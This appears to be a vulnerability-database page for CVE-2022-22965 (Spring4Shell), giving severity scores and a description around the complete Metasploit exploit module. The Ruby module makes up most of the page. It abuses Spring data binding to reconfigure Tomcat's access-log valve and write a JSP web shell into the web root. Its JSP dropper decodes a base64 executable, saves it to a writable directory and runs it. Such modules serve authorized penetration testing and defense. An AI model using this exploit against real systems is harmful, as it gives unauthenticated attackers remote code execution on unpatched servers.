9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable to remote code execution due to an unsafe data binding used to populate an object from request parameters to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can gain remote code execution.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
'Description' => %q{
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
to remote code execution due to an unsafe data binding used to populate an object from request parameters
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
gain remote code execution.
},
'Author' => [
'vleminator <vleminator[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-22965'],
['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
],
'Platform' => %w[linux win],
'Payload' => {
'Space' => 5000,
'DisableNops' => true
},
'Targets' => [
[
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w[linux win]
},
],
[
'Linux',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux'
}
],
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win'
}
]
],
'DisclosureDate' => '2022-03-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Spring4Shell', 'SpringShell'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
]
)
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def jsp_dropper(file, exe)
# The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
dropper = <<~EOS
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"java.util.Base64\" %>
<%@ page import=\"java.io.File\" %>
<%
FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
oFile.flush();
oFile.close();
File f = new File(\"#{file}\");
f.setExecutable(true);
Runtime.getRuntime().exec(\"#{file}\");
%>
EOS
dropper
end
def modify_class_loader(method, opts)
cl_prefix = 'class.module.classLoader'
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => method,
'headers' => {
'c1' => '<%', # %{c1}i replacement in payload
'c2' => '%>' # %{c2}i replacement in payload
},
"vars_#{method == 'GET' ? 'get' : 'post'}" => {
"#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})
end
def check_log_file
print_status("#{peer} - Waiting for the server to flush the logfile")
print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")
succeeded = retry_until_true(timeout: 60) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@jsp_file)
})
res&.code == 200 && !res.body.blank?
end
fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded
print_good("#{peer} - Log file flushed")
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ''
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l =~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def create_jsp
jsp = <<~EOS
<%
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
jsp.delete();
%>
#{Faker::Internet.uuid}
EOS
if target['Arch'] == ARCH_JAVA
jsp << fix(payload.encoded)
else
payload_exe = generate_payload_exe
payload_filename = rand_text_alphanumeric(rand(4..7))
if target['Platform'] == 'win'
payload_path = datastore['WritableDir'] + '\\' + payload_filename
else
payload_path = datastore['WritableDir'] + '/' + payload_filename
end
jsp << jsp_dropper(payload_path, payload_exe)
register_files_for_cleanup(payload_path)
end
jsp
end
def check
@checkcode = _check
end
def _check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
)
return CheckCode::Unknown('Web server seems unresponsive') unless res
if res.headers.key?('Server')
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
else
res.body.match(%r{Apache\s(.*)/([\d|.]+)})
end
server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil
return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)
vprint_status("Detected #{server} #{version} running")
if datastore['HTTP_METHOD'] == 'Automatic'
# prefer POST over get to keep the vars out of the query string if possible
methods = %w[POST GET]
else
methods = [ datastore['HTTP_METHOD'] ]
end
methods.each do |method|
vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
res = send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
)
# setting the default assertion status to a valid status
send_request_cgi(
'method' => method,
'uri' => normalize_uri(datastore['TARGETURI']),
vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
)
return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
end
Exploit::CheckCode::Safe
end
def exploit
prefix_jsp = rand_text_alphanumeric(rand(3..5))
date_format = rand_text_numeric(rand(1..4))
@jsp_file = prefix_jsp + date_format + '.jsp'
http_method = datastore['HTTP_METHOD']
if http_method == 'Automatic'
# if the check was skipped but we need to automatically identify the method, we have to run it here
@checkcode = check if @checkcode.nil?
http_method = @checkcode.details[:method]
fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?
print_good("Automatically identified HTTP method: #{http_method}")
end
# if the check method ran automatically, add a short delay before continuing with exploitation
sleep(5) if @checkcode
# Prepare the JSP
print_status("#{peer} - Generating JSP...")
# rubocop:disable Style/FormatStringToken
jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
# rubocop:enable Style/FormatStringToken
# Modify the Class Loader
print_status("#{peer} - Modifying Class Loader...")
properties = {
payload: jsp,
directory: datastore['PAYLOAD_PATH'],
prefix: prefix_jsp,
suffix: '.jsp',
file_date_format: date_format
}
res = modify_class_loader(http_method, properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# No matter what happened, try to 'restore' the Class Loader
properties = {
payload: '',
directory: '',
prefix: '',
suffix: '',
file_date_format: ''
}
modify_class_loader(http_method, properties)
check_log_file
handler
end
# Retry the block until it returns a truthy value. Each iteration attempt will
# be performed with expoential backoff. If the timeout period surpasses, false is returned.
def retry_until_true(timeout:)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
ending_time = start_time + timeout
retry_count = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
result = yield
return result if result
retry_count += 1
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
break if remaining_time_budget <= 0
delay = 2**retry_count
if delay >= remaining_time_budget
delay = remaining_time_budget
vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
else
vprint_status("Sleeping for #{delay} seconds before attempting again")
end
sleep delay
end
false
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.975 High
EPSS
Percentile
100.0%